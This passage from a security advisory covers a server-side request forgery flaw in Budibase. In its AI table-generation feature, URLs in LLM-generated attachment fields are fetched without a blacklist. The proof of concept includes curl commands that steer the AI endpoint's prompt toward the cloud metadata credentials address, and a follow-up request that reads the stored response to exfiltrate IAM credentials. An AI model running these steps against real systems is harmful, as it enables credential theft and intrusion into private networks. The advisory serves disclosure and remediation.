packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet